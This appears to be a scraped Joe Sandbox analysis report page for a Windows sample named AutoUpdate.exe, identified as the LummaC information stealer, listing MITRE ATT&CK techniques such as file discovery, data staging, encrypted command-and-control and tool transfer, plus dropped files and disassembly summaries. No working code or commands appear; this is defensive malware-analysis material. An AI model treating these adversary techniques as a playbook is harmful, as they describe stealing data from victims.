Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AutoUpdate.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5o0tkegt.fmy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dhygtola.umk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxmx00lb.hvo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hp2icekv.0bg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tctpoq1h.y0j.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uo04ozsg.4kh.psm1

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Windows Analysis Report
AutoUpdate.exe

Function 02AA0A11 Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Function 02AA08C1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Function 02AA0301 Relevance: 3.4, APIs: 2, Instructions: 399
threadCOMMON

Function 02AECF3F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Function 02AEBB91 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Function 02AD5B47 Relevance: 96.7, Strings: 77, Instructions: 401
COMMON

Function 02AD5077 Relevance: 56.6, Strings: 45, Instructions: 310
COMMON

Function 02AD662D Relevance: 55.3, Strings: 44, Instructions: 307
COMMON

Function 02AC4501 Relevance: 18.0, Strings: 14, Instructions: 484
COMMON

Function 02ACB0CE Relevance: 16.5, Strings: 13, Instructions: 278
COMMON

Function 02AB0972 Relevance: 14.6, Strings: 11, Instructions: 893
COMMON